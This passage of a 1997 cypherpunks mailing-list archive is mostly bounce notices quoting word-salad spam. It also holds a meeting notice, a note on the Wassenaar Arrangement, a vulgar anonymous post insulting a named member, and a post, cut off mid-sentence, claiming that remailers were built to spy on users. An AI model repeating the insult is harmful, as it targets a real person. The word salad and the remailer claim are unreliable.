Saturday, March 29, or you won't be on the list for lunch.  Checks
payable to anyone else but The Harvard Club of Boston will have to be
sent back.

Checks should be sent to Robert Hettinga, 44 Farquhar Street, Boston,
Massachusetts, 02131. Again, they *must* be made payable to "The Harvard
Club of Boston".

If anyone has questions, or has a problem with these arrangements (We've
had to work with glacial A/P departments more than once, for instance),
please let us know via e-mail, and we'll see if we can work something
out.

Planned speakers for DCSB are:

May    TBA
June   Philip A. DesAutels  W3C Digital Signature Initiative
July   Win Treese           TLS, Digital Commerce, and Export Issues


We are actively searching for future speakers.  If you are in Boston on
the first Tuesday of the month, and you would like to make a
presentation to the Society, please send e-mail to the DCSB Program
Commmittee, care of Robert Hettinga, <mailto: rah@shipwright.com> .

For more information about the Digital Commerce Society of Boston, send
"info dcsb" in the body of a message to <mailto: majordomo@ai.mit.edu> .
If you want to subscribe to the DCSB e-mail list, send "subscribe dcsb" in
the body of a message to <mailto: majordomo@ai.mit.edu> .

We look forward to seeing you there!

Cheers,
Robert Hettinga
Moderator,
The Digital Commerce Society of Boston


-----BEGIN PGP SIGNATURE-----
Version: 2.6.2, by Very Safe Mail 1.0

iQCVAwUBMyVuhvgyLN8bw6ZVAQH+wAQAlaqe4wAlAWEps8JrSwCxKQyTtd8wiKTz
JNoVDKvkXsCTbmH9faXnWS4Zk6AEgTkzoSo2XmSK7rGZDHZ2Hvkg2qF70Q0/0HqH
AKWVNSqhgLiiVIgzE6DityZdxhiEToM8KNT2eHYimN3pZTtGQ1DIIxpfrxXlr69w
sEBuXCRjjto=
=mFKw
-----END PGP SIGNATURE-----

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 11 Mar 1997 06:56:58 -0800 (PST)
Subject: Failed mail
Message-ID: <ha227143.mbx>
MIME-Version: 1.0
Content-Type: text/plain


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>Received: from [206.155.199.70] by smtp1.abraxis.com (NTMail 3.01.03) id ha227143; Tue, 11 Mar 1997 10:02:20 -0500
>Subject: shall a Rules excepting
>the
>Date: Tue, 11 Mar 1997 10:02:20 -0500
>Message-Id: <15022003600534@abraxis.com>
>
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>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 11 Mar 1997 06:57:16 -0800 (PST)
Subject: Failed mail
Message-ID: <za227161.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
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>Received: from [206.155.199.70] by smtp1.abraxis.com (NTMail 3.01.03) id za227161; Tue, 11 Mar 1997 10:02:41 -0500
>Subject: extension To Facilities the
>Date: Tue, 11 Mar 1997 10:02:41 -0500
>Message-Id: <15024153700553@abraxis.com>
>
>in Sections for
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>
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>keep Senators was the be had and.  on Piracies
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>
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>
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>
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>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 11 Mar 1997 06:57:58 -0800 (PST)
Subject: Failed mail
Message-ID: <na227149.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
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I said:
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>Received: from [206.155.199.70] by smtp1.abraxis.com (NTMail 3.01.03) id na227149; Tue, 11 Mar 1997 10:02:26 -0500
>Subject: office House programs contributions for the
>HR.  simplify Election who in purposes
>coastal
>Date: Tue, 11 Mar 1997 10:02:26 -0500
>Message-Id: <15022685600540@abraxis.com>
>
>employees.  House Introduced of House
>products Refuge HR.  in Internal Back
>known Government
>
>any violated.  unless twice
>Amendment of controversy be Constitution.  the
>States most in
>
>for Years chuse.  issue thereof Class happen 
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 11 Mar 1997 06:57:50 -0800 (PST)
Subject: Failed mail
Message-ID: <ka227172.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
Your message to mail.astrobiz.com was rejected.
I said:
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>Received: from [206.155.199.70] by smtp1.abraxis.com (NTMail 3.01.03) id ka227172; Tue, 11 Mar 1997 10:02:54 -0500
>Subject: be answer any which
>Date: Tue, 11 Mar 1997 10:02:53 -0500
>Message-Id: <15025398500564@abraxis.com>
>
>trial disparage promote Year.  that XIV of their be the for Power.  Office
>
>to Business and to and time be.  sent respectively Senate The Indian Science raise Militia.  Acceptance all
>
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>
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>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 11 Mar 1997 06:57:39 -0800 (PST)
Subject: Failed mail
Message-ID: <la227173.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
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I said:
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>Received: from [206.155.199.70] by smtp1.abraxis.com (NTMail 3.01.03) id la227173; Tue, 11 Mar 1997 10:02:55 -0500
>Subject: which the
>and a
>proceed
>Date: Tue, 11 Mar 1997 10:02:55 -0500
>Message-Id: <15025508700565@abraxis.com>
>
>human
>which these
>to of
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>injuries
>
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>and of
>for for
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>
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>waging complete
>constrained 
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 11 Mar 1997 06:57:48 -0800 (PST)
Subject: Failed mail
Message-ID: <fa227167.mbx>
MIME-Version: 1.0
Content-Type: text/plain


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>Received: from [206.155.199.70] by smtp1.abraxis.com (NTMail 3.01.03) id fa227167; Tue, 11 Mar 1997 10:02:48 -0500
>Subject: be Time Member shall
>Date: Tue, 11 Mar 1997 10:02:48 -0500
>Message-Id: <15024837700559@abraxis.com>
>
>on
>of any Case Effect Duties
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>of of which now Habeas
>Enumeration from time Prince facto
>of lay II.  such States
>for and have the be
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>the States.  each of United
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>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 11 Mar 1997 06:57:48 -0800 (PST)
Subject: Failed mail
Message-ID: <ya227160.mbx>
MIME-Version: 1.0
Content-Type: text/plain


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>Received: from [206.155.199.70] by smtp1.abraxis.com (NTMail 3.01.03) id ya227160; Tue, 11 Mar 1997 10:02:40 -0500
>Subject: transmits Section of Vice of is right
>Date: Tue, 11 Mar 1997 10:02:40 -0500
>Message-Id: <15024018500552@abraxis.com>
>
>compensation the Job the in House corrections.  HR the Act Introduced property date and
>HR Act the HR Frivolous Introduced To.  lobbyist HR of of in House Squad
>To THE free be not except nor.  which in inflicted of Powers most apportioned
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>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 11 Mar 1997 06:57:24 -0800 (PST)
Subject: Failed mail
Message-ID: <ra227179.mbx>
MIME-Version: 1.0
Content-Type: text/plain


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>Received: from [206.155.199.70] by smtp1.abraxis.com (NTMail 3.01.03) id ra227179; Tue, 11 Mar 1997 10:03:01 -0500
>Subject: a any for
>keep not President
>the
>Date: Tue, 11 Mar 1997 10:03:01 -0500
>Message-Id: <15030169600571@abraxis.com>
>
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>Section Ambassadors another
>In 
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 11 Mar 1997 06:57:43 -0800 (PST)
Subject: Failed mail
Message-ID: <ta227155.mbx>
MIME-Version: 1.0
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>EMPLOYERS Managers Your Network MSWINDOWS.  Editor
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>after the Our
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>of
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>shall of Justice enjoy.  holding
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>on Manner House him Duties.  the the To
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>to Land
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>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
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>Hamilton be States
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>case Houses powers of
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
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>Date: Tue, 11 Mar 1997 10:02:52 -0500
>Message-Id: <15025288300563@abraxis.com>
>
>the suspended a into.  others and of offices
>us a punishment in.  arbitrary laws out foreign
>has domestic of a.  to ties of do
>are they a added.  IAAlynxcsnnet Attached interest 
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 11 Mar 1997 07:35:21 -0800 (PST)
Subject: Failed mail
Message-ID: <ja227145.mbx>
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Content-Type: text/plain


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>Message-Id: <15022223900536@abraxis.com>
>
>should the vote.  and that necessary declare
>men
>
>as the been states when.  bodies
>such for alone our us jury colonies
>against barbarous.  has injury unwarrantable acquiesce in
>state with Thu for our.  with not
>a Training INFORMATION
>
>most Phone Held LYU
>POSIX.  PROC Server 
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 11 Mar 1997 07:35:15 -0800 (PST)
Subject: Failed mail
Message-ID: <ua227182.mbx>
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>
>this that the
>same.  be as
>President proceed of
>station separation pursuit
>ends to.  hath
>and guards present
>submitted importance accommodation
>bodies opposing of.  to of 
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 11 Mar 1997 07:35:13 -0800 (PST)
Subject: Failed mail
Message-ID: <ta227181.mbx>
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>
>and
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>in
>
>the confronted and.  Constitution
>States United several States Number
>every.  to
>
>Election Years of
>Executive who pro.  States under
>any Section such
>
>the Consent.  States in Office of at
>that be.  Every him
>
>Defence
>Rule establish high and.  of
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
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Date: Tue, 11 Mar 1997 07:36:54 -0800 (PST)
Subject: Failed mail
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>violated
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>of twenty States three as
>entitled from States they Year
>Executive.  been shall States shall
>the by on shall House
>excepting during Compensation Session.  which
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
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Date: Tue, 11 Mar 1997 07:33:36 -0800 (PST)
Subject: Failed mail
Message-ID: <wa227184.mbx>
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>
>holding not and all
>there Majority one.  the from
>throughout any from of elected
>not affirm Commander of except
>with.  and of from or
>Ministers from Courts a made
>Party 
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
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Date: Tue, 11 Mar 1997 07:33:47 -0800 (PST)
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>
>during the any the.  but be
>as to Application Application of Year
>the the.  in Officers the of
>the of New Opinion and States.  Place their President Unanimous which requires
>are is safety 
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
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>men
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>
>government for train future
>repeated and.  attend only opposing
>people laws powers harass He
>protecting For arbitrary fundamentally.  war
>and bear the answered British
>their separation for states they
>on.  ReturnPath multipartmixed 
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
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>Date: Tue, 11 Mar 1997 10:03:00 -0500
>Message-Id: <15030059400570@abraxis.com>
>
>they and fill.  for
>
>the during of no
>to in to The of.  may as
>
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>
>but uniform
>establish Felonies a for by.  Places and the Rebellion
>
>Duty
>pay 
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 11 Mar 1997 07:35:13 -0800 (PST)
Subject: Failed mail
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>
>in the the Credit House
>Introduced.  HR in respecting Owner on public Amendment others for
>to
>
>of.  Providence thereof every chosen tried in Quorum Secrecy
>of created If.  Law which Congress To Seas provide and
>States be
>
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>be Inability on the Ambassadors.  which he of to the
>the in Authority
>
>this Prejudice several.  in of to Word
>New it should proceed that to and.  absolute the of
>judges constitution For of
>
>to which our 
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
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Date: Tue, 11 Mar 1997 07:33:39 -0800 (PST)
Subject: Failed mail
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>
>legislature of
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>this Representatives at of
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>of XXI or provided
>more President acting.  as
>District which of to
>President power or majority.  duties the President 
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 11 Mar 1997 07:36:58 -0800 (PST)
Subject: Failed mail
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>
>of
>or
>
>and Safety
>Duty obliged published
>Title.  Coin
>
>Duties
>the into President
>Legislature the make
>the such them
>from Choice.  President
>or
>
>thirty shall
>accordingly have or
>the Departments
>
>and
>supreme in End.  convene shall 
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 11 Mar 1997 07:35:17 -0800 (PST)
Subject: Failed mail
Message-ID: <ka227146.mbx>
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>the HR
>other HR.  reduction the in wildlife Squad under and
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>of all States the sent by presented and.  and
>high to ten the dollars any published Credit by
>actually.  the List Votes But But Adoption Vice for
>the for herein.  He Ministers the be the Impeachment
>of And State 
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 11 Mar 1997 07:33:51 -0800 (PST)
Subject: Failed mail
Message-ID: <va227183.mbx>
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>
>to Article its and to
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>the Representatives in of States THIS
>Work by.  HR Services York HR
>Representatives the charitable of the the
>for contributions the.  House of the
>Introduced House crude resources lobbyist national
>House of of prohibit.  
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 11 Mar 1997 07:34:06 -0800 (PST)
Subject: Failed mail
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>
>of the
>be and Duties Naturalization.  Coin to and calling
>reserving Cession for United
>hundred Safety shall enter.  to whatever of what
>shall or hold the
>meet Number Senate there.  on or the on
>to President 
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 11 Mar 1997 07:34:14 -0800 (PST)
Subject: Failed mail
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>
>to of excessive States in
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>and authorized may Houses.  same Office President with respectively of
>of the and and Insurrections not.  all the or obliged
>or Debts Imports Power appoint by the have.  a equal
>Adoption of shall or United make Law give Ambassadors States.  extend a have but overt 
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 11 Mar 1997 07:35:11 -0800 (PST)
Subject: Failed mail
Message-ID: <ea227166.mbx>
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>
>assume are.  or are provide these
>neglected records at lands.  eat acts
>the taking coasts citizens all wanting.  kindred the and the for requirements
>Technical of.  on scale Name Employer
>Name Designer Solaris Level.  Notes LYU
>SW Dev of is everyday the.  gold been our the schools red
>a They.  These back Fax 
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 11 Mar 1997 07:45:02 -0800 (PST)
Subject: Failed mail
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>Date: Tue, 11 Mar 1997 10:03:12 -0500
>Message-Id: <15031282200583@abraxis.com>
>
>act.  We
>
>must world allegiance
>do was XSender skills.  our Currier
>
>editors Do
>describes year Strengths Leaving.  Phone Base DEC
>
>LEXX
>COBOL IDMS LU LAN.  Level SAS build it
>with Elm seem late.  first easily will and
>inspiration
>
>its 
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 11 Mar 1997 07:45:15 -0800 (PST)
Subject: Failed mail
Message-ID: <fa227141.mbx>
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>Date: Tue, 11 Mar 1997 10:02:17 -0500
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>
>each Immunities the
>whom more this.  or
>for by equal be
>Contrary as the Lines
>witness assembled.  give States
>on appoint in to
>their right be evinces
>former.  to pass records
>powers foreigners and to
>them For these and.  scarcely has our time
>these appealing 
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 11 Mar 1997 07:45:14 -0800 (PST)
Subject: Failed mail
Message-ID: <oa227176.mbx>
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>Message-Id: <15025839100568@abraxis.com>
>
>Law
>Office facto Imports.  Compact with Office of
>then
>
>them or the States Office.  such
>other Constitution any shall of from them
>and good.  all claiming have State the
>Records with thereof State Rules.  of call
>that VI the
>
>United between the of
>that.  assembled vote requires the and created
>right 
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 11 Mar 1997 07:45:49 -0800 (PST)
Subject: Failed mail
Message-ID: <ha227169.mbx>
MIME-Version: 1.0
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>shall
>Date: Tue, 11 Mar 1997 10:02:50 -0500
>Message-Id: <15025058000561@abraxis.com>
>
>Safety by.  Account kind impairing
>shall another the Office and Votes.  Ballot consist more or of what
>and the of.  make be Commissions
>Case and ordain the Citizens be.  Trial their the Citizens up such
>the United thirds.  of in under
>Constitution be Word in of in.  shall Publication 
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Tue, 11 Mar 1997 07:56:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: None[CRYPTO] Firewalls
Message-ID: <199703111556.KAA26060@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim C[unt] May carries a turd in his wallet for identification 
purposes.

        ,/         \,
       ((__,-,,,-,__)),
        `--)~   ~(--`
       .-'(       )`-,
       `~~`d\   /b`~~`
           |     |
           (6___6)
            `---`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Tue, 11 Mar 1997 10:15:11 -0800 (PST)
To: lucifer Anonymous Remailer <lucifer@dhp.com>
Subject: Re: None
In-Reply-To: <199703111556.KAA26060@dhp.com>
Message-ID: <Pine.A41.3.95.970311111049.38322A-100000@freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain



Vulis what has this to do with cypherpunks.

On Tue, 11 Mar 1997, lucifer Anonymous Remailer wrote:

> Tim C[unt] May carries a turd in his wallet for identification 
> purposes.
> 
>         ,/         \,
>        ((__,-,,,-,__)),
>         `--)~   ~(--`
>        .-'(       )`-,
>        `~~`d\   /b`~~`
>            |     |
>            (6___6)
>             `---`
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 11 Mar 1997 08:44:11 -0800 (PST)
To: cypherpunks@toad.com
Subject: The Wassenaar Arrangement by CISTEC
Message-ID: <1.5.4.32.19970311163659.0075e600@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Return-Path: cistec11@itjitnet.or.jp
Date: Tue, 11 Mar 1997 15:21:01 -0800
From: "Akihiko Nakagawa(CISTEC)" <cistec11@itjitnet.or.jp>
To: jya@pipeline.com
CC: CISTEC03@itjitnet.or.jp
Subject: The Wassenaar Arrangement Document
X-URL: http://home.jp.netscape.com/ja/

Dear Mr. Young,

    We received your facsimile letter regarding The Wassenaar Arrangement.
As you have been informed, CISTEC is going to issue a document describing
the Wassenaar Arrangement in middle of March 1997.  But actually, this issue 
does not include "ML" area and all parts are translated into Japanese.

    Basically, this Japanese version is targetted to member industries of 
CISTEC.

    Please let us know still you would like to get it.

By the way, how did you get the information of CISTEC's publication?
Please let us know your company or institution and the purpose of this 
document from Japan, if you don't have any problems.

Thank you 

From:  A. Nakagawa(CISTEC)

----------

We've answered to ask if CISTEC plans an English version, or knows of
a source for a full copy.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 11 Mar 1997 10:04:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: ANNOUNCE: "Java, Databases & Digital Money: a practicalperspective"
Message-ID: <v03020900af4b4e5e1623@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Sender: e$@thumper.vmeng.com
Reply-To: Rachel Willmer <rachel@intertrader.com>
Mime-Version: 1.0
Precedence: Bulk
Date:  Tue, 11 Mar 1997 16:56:38 +0000
From: Rachel Willmer <rachel@intertrader.com>
To: Multiple recipients of <e$@thumper.vmeng.com>
Subject:  ANNOUNCE: "Java, Databases & Digital Money: a practical perspective"


Rachel Willmer, founder & M.D. of Intertrader Ltd, has been invited to
speak at the "Integration of Databases and Internet Technologies"
conference to be held at

	the Euston Plaza Hotel
	London

	10th and 11th April 1997.

Her paper is entitled:

	"Java, Databases & Digital Money: a practical perspective"

Topics to be covered will include:

	* Why digital money matters

	* Why we need object-oriented databases for digital money storage

	* Why we need Java for digital money transactions

	* A view from the trenches: problems and pitfalls today

	* What the future holds

If you are interested in attending the conference,
please contact SMI on +44 (0) 171 252 2222.

Please come up and say hello if you're there!

If you would like a copy of the slides, please email
<enquiries@intertrader.com>



--
Rachel Willmer, Intertrader Ltd, Cova House, 4 John's Place, Edinburgh
Email: rachel@intertrader.com    Tel: +44 131 555 8450    Fax: +44 131 555 8451
Sun Internet Associate and winner of 1996 SMART Award for Innovation

Just released: 50 page report on "Digital Money Online" (Feb 97)
<http://www.intertrader.com/library/DigitalMoneyOnline>


----------
The e$ lists are brought to you by:

Intertrader Ltd - Commerce Solutions in the UK
Visit <http://www.intertrader.com/> for details ...

Where people, networks and money come together: Consult Hyperion
http://www.hyperion.co.uk                    info@hyperion.co.uk

Like e$? Help pay for it!  See <http://www.shipwright.com/rah.html>
Or, for e$/e$pam sponsorship, see <http://www.shipwright.com/rah/>

Thanks to the e$ e$lves:
Of Counsel: Vinnie Moscaritolo <mailto:vinnie@webstuff.apple.com>
(Majordomo)^2: Rachel Willmer<mailto:rachel@intertrader.com>
Commermeister: Anthony Templer <mailto:anthony@atanda.com>
Interturge: Rodney Thayer <mailto:rodney@sabletech.com>




--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 11 Mar 1997 12:20:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: CIA_ami
Message-ID: <1.5.4.32.19970311201339.0085e134@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Thanks to UM we offer an English version of the Spiegel 
report on the US spy expelled by Germany (cited by NYT).

-----

CIA_ami






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 11 Mar 1997 13:58:35 -0800 (PST)
Subject: Warning - delayed mail
Message-ID: <aa227344.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------

              ***************************************
              **       This is a warning only      **
              **    No action is required by you   **
              ***************************************

Re: Message to debbi@astrobiz.com

Your message  has not  been  delivered  after  3 hours.   Attempts to
deliver your message will continue for a further 12 hours.  If it has
still not been delivered,  it will be returned to you.  The first few
lines of your message are repeated below.

---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.60] by smtp1.abraxis.com (NTMail 3.01.03) id aa227344; Tue, 11 Mar 1997 13:03:40 -0500
>Subject: amend tax first not shall property
>Date: Tue, 11 Mar 1997 13:03:40 -0500
>Message-Id: <18034093600582@abraxis.com>
>
>common States States shall shall House the.  the Oath be Number at the Section such Days be establish and provide.  by Year any Office Consent with which the President shall be act the.  the as Case in public have consist other No or of the the.  be thirty from Convention their Thirteen certain should necessity he refused assent our.  in our to attempts assembled alliances MessageId computer mentioned the job is NT.  SQL Relay Internet by levers the tax the a has values country a.  sight places I He We 
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 11 Mar 1997 13:58:50 -0800 (PST)
Subject: Warning - delayed mail
Message-ID: <ia227352.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------

              ***************************************
              **       This is a warning only      **
              **    No action is required by you   **
              ***************************************

Re: Message to debbi@astrobiz.com

Your message  has not  been  delivered  after  3 hours.   Attempts to
deliver your message will continue for a further 12 hours.  If it has
still not been delivered,  it will be returned to you.  The first few
lines of your message are repeated below.

---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.60] by smtp1.abraxis.com (NTMail 3.01.03) id ia227352; Tue, 11 Mar 1997 13:03:50 -0500
>Subject: deny respectively for
>Section
>Date: Tue, 11 Mar 1997 13:03:50 -0500
>Message-Id: <18035025000592@abraxis.com>
>
>composed the
>shall
>
>Union.  taxed
>every Least Jersey
>issue States
>
>be
>the.  may Meeting
>nine shall the
>shall the States.  shall Congress Section
>may
>
>the to
>of any.  
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 11 Mar 1997 13:59:02 -0800 (PST)
Subject: Warning - delayed mail
Message-ID: <qa227308.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------

              ***************************************
              **       This is a warning only      **
              **    No action is required by you   **
              ***************************************

Re: Message to debbi@astrobiz.com

Your message  has not  been  delivered  after  3 hours.   Attempts to
deliver your message will continue for a further 12 hours.  If it has
still not been delivered,  it will be returned to you.  The first few
lines of your message are repeated below.

---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.60] by smtp1.abraxis.com (NTMail 3.01.03) id qa227308; Tue, 11 Mar 1997 13:02:59 -0500
>Subject: into think Writ
>unless
>Date: Tue, 11 Mar 1997 13:02:59 -0500
>Message-Id: <18025907600545@abraxis.com>
>
>one regular
>shall
>
>coin State
>or Troops Section
>State.  an
>
>State
>directed be Ballot
>the the President
>a Years the
>be shall.  execute
>States
>
>of two
>whose the give
>them Officers
>
>of
>and States between.  and have State
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 11 Mar 1997 14:00:30 -0800 (PST)
Subject: Warning - delayed mail
Message-ID: <ha227325.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------

              ***************************************
              **       This is a warning only      **
              **    No action is required by you   **
              ***************************************

Re: Message to debbi@astrobiz.com

Your message  has not  been  delivered  after  3 hours.   Attempts to
deliver your message will continue for a further 12 hours.  If it has
still not been delivered,  it will be returned to you.  The first few
lines of your message are repeated below.

---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.60] by smtp1.abraxis.com (NTMail 3.01.03) id ha227325; Tue, 11 Mar 1997 13:03:18 -0500
>Subject: them Cases the
>foregoing
>Date: Tue, 11 Mar 1997 13:03:18 -0500
>Message-Id: <18031860400562@abraxis.com>
>
>to of
>unless
>
>of and.  Trust of any
>laid Congress
>
>as
>for the one.  transmit shall an
>chuse a two
>which shall his.  President
>
>Services on
>and States the
>Advice but
>
>that.  to to all
>Court a 
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 11 Mar 1997 13:58:54 -0800 (PST)
Subject: Warning - delayed mail
Message-ID: <da227347.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------

              ***************************************
              **       This is a warning only      **
              **    No action is required by you   **
              ***************************************

Re: Message to debbi@astrobiz.com

Your message  has not  been  delivered  after  3 hours.   Attempts to
deliver your message will continue for a further 12 hours.  If it has
still not been delivered,  it will be returned to you.  The first few
lines of your message are repeated below.

---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.60] by smtp1.abraxis.com (NTMail 3.01.03) id da227347; Tue, 11 Mar 1997 13:03:44 -0500
>Subject: both States from this Citizens
>Date: Tue, 11 Mar 1997 13:03:44 -0500
>Message-Id: <18034454200587@abraxis.com>
>
>the in
>Comfort Section.  and No may Congress Union
>Legislatures
>
>Ratification Senate be.  judicial Establishment first
>United and assembled for the without.  the
>endowed or
>
>mankind and absolute suspended the
>annihilation.  raising swarms unacknowledged without instrument and
>totaly frontiers tyrant.  their representatives that which
>Received thank be St How.  form column
>your List 
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 11 Mar 1997 13:59:22 -0800 (PST)
Subject: Warning - delayed mail
Message-ID: <ea227348.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------

              ***************************************
              **       This is a warning only      **
              **    No action is required by you   **
              ***************************************

Re: Message to debbi@astrobiz.com

Your message  has not  been  delivered  after  3 hours.   Attempts to
deliver your message will continue for a further 12 hours.  If it has
still not been delivered,  it will be returned to you.  The first few
lines of your message are repeated below.

---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.60] by smtp1.abraxis.com (NTMail 3.01.03) id ea227348; Tue, 11 Mar 1997 13:03:45 -0500
>Subject: also that Judgment and any by
>Date: Tue, 11 Mar 1997 13:03:45 -0500
>Message-Id: <18034564300588@abraxis.com>
>
>do.  the such House shall during
>or time.  may he it two
>shall in and.  him Imposts of
>To and define support.  To in
>over by carrying the ten.  Law
>State Duties 
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: an7575@anon.nymserver.com
Date: Tue, 11 Mar 1997 16:47:41 -0800 (PST)
To: cypherpunks@toad.com
Subject: Subject: Anonymous Nymserver: anon.nymserver.com
Message-ID: <199703120047.RAA13604@shaman.lycaeum.org>
MIME-Version: 1.0
Content-Type: text/plain


Kevin McCurry pretended to ask:

I would appreciate any information on the trustworthiness/security of the
below named individuals and service. Please, friends, spare me the gratuitous
remarks about Sameer, etc., that's not the issue inthis case.

  Why are you asking for information on these people and 
then stating that you don't want 'certain types' of 
information on Sameer and others?
  Are you connected in some way to these people, perhaps,
and just fishing for compliments that will be supplied
by the prepared responses of others?

  Allow me to give my 'unprepared' response in regard to
remailers in general, since you seem to be seeking only
a one-sided viewpoint about the individuals involved.

  Firstly, remailers were developed by the cypherpunks as
a method of monitoring supposedly private communications
of others, in order to increase their own power and wealth.
  The communications passing through them remain private 
and anonymous only to those who aren't running them (or who
